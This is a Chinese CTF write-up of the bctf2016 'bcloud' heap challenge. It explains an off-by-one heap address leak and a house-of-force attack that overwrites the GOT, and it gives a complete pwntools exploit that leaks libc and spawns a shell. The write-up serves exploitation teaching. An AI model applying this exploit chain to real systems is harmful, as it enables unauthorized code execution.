bctf2016 bcloud

找点题做下

程序分析

程序除了增删改查节点之外,还有一些准备工作,也就是在这里出现了漏洞,在read_1函数中逐位读取最多64个,并将最后一位置0,但是当输入的字符串数是64时,则在下一步调用malloc0会被覆盖为新开辟的地址,而strcpy在拷贝时遇到0结束,则会造成新开辟的堆块的地址被泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int read_name()
{
char s; // [sp+1Ch] [bp-5Ch]@1
char *v2; // [sp+5Ch] [bp-1Ch]@1
int v3; // [sp+6Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x50u);
puts("Input your name:");
read_1((int)&s, 64, 10);
v2 = (char *)malloc(0x40u);
dword_804B0CC = (int)v2;
strcpy(v2, &s);
print_name((int)v2);
return *MK_FP(__GS__, 20) ^ v3;
}

get_org_and_host函数中也是使用了read_1进行读取,并且仔细观察变量会发现,如果s的长度为64,则在下面拷贝的时候会将v3的内容也拷贝的堆中,所以可以将通过改变v3的内容来控制top chunksize的大小,满足house of force,但是因为在show_note中并没有给出任何输出,所以需要构造泄露函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int get_org_and_host()
{
char s; // [sp+1Ch] [bp-9Ch]@1
char *v2; // [sp+5Ch] [bp-5Ch]@1
int v3; // [sp+60h] [bp-58h]@1
char *v4; // [sp+A4h] [bp-14h]@1
int v5; // [sp+ACh] [bp-Ch]@1
v5 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x90u);
puts("Org:");
read_1((int)&s, 64, 10);
puts("Host:");
read_1((int)&v3, 64, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
dword_804B0C8 = (int)v2;
dword_804B148 = (int)v4;
strcpy(v4, (const char *)&v3);
strcpy(v2, &s);
puts("OKay! Enjoy:)");
return *MK_FP(__GS__, 20) ^ v5;
}

利用hofbss段中的全局变量中开辟堆空间,修改其中的值

1
2
3
atoi@got
free@got
atoi@got

修改节点1,即free@got的内容为puts@got的值,然后删去节点0,即atoi@got来泄露atoi的地址,然后通过给出的libc算出atoisystem的偏移,将节点2的内容改为system_addr,然后输入/bin/sh\x00获得shell

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python
from pwn import *
context(log_level = 'debug')
io = process('./bcloud')
puts_plt = 0x08048520
bss_len_addr = 0x0804B0A0
atoi_got = 0x0804B03C
free_got = 0x0804B014
def new_note(len,content):
io.recvuntil("option--->>\n")
io.sendline(str(1))
io.recvuntil("content:\n")
io.sendline(str(len))
io.recvuntil("content:\n")
io.sendline(content)
def edit_note(id, data):
io.recvuntil("option--->>\n")
io.sendline(str(3))
io.recvuntil("id:\n")
io.sendline(str(id))
io.recvuntil("content:\n")
io.sendline(data)
def delete_note(id):
io.recvuntil("option--->>\n")
io.sendline(str(4))
io.recvuntil("id:\n")
io.sendline(str(id))
#leak address
io.recvuntil("Input your name:\n")
io.send("A"*0x3c + "BBBB")
io.recvuntil("BBBB")
leak = u32(io.recv(4))
log.info("Leak: " + hex(leak))
#hof
io.recvuntil("Org:\n")
io.send('A'*0x40)
io.recvuntil("Host:\n")
io.sendline("\xff\xff\xff\xff")
size = bss_len_addr - 8 - (leak + 208) - 8
new_note(size,'AAAA')
payload = p32(4)
payload += p32(4)
payload += p32(4)
payload += p32(0) * 29
payload += p32(atoi_got)
payload += p32(free_got)
payload += p32(atoi_got)
new_note(140,payload)
edit_note(1,p32(puts_plt))
delete_note(0)
leak_atoi = u32(io.recv(4))
system_addr = leak_atoi + 0xd8f0
edit_note(2,p32(system_addr))
garbage = io.recv()
io.sendline("/bin/sh\x00")
io.interactive()

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 程序分析
  2. 2. exploit
,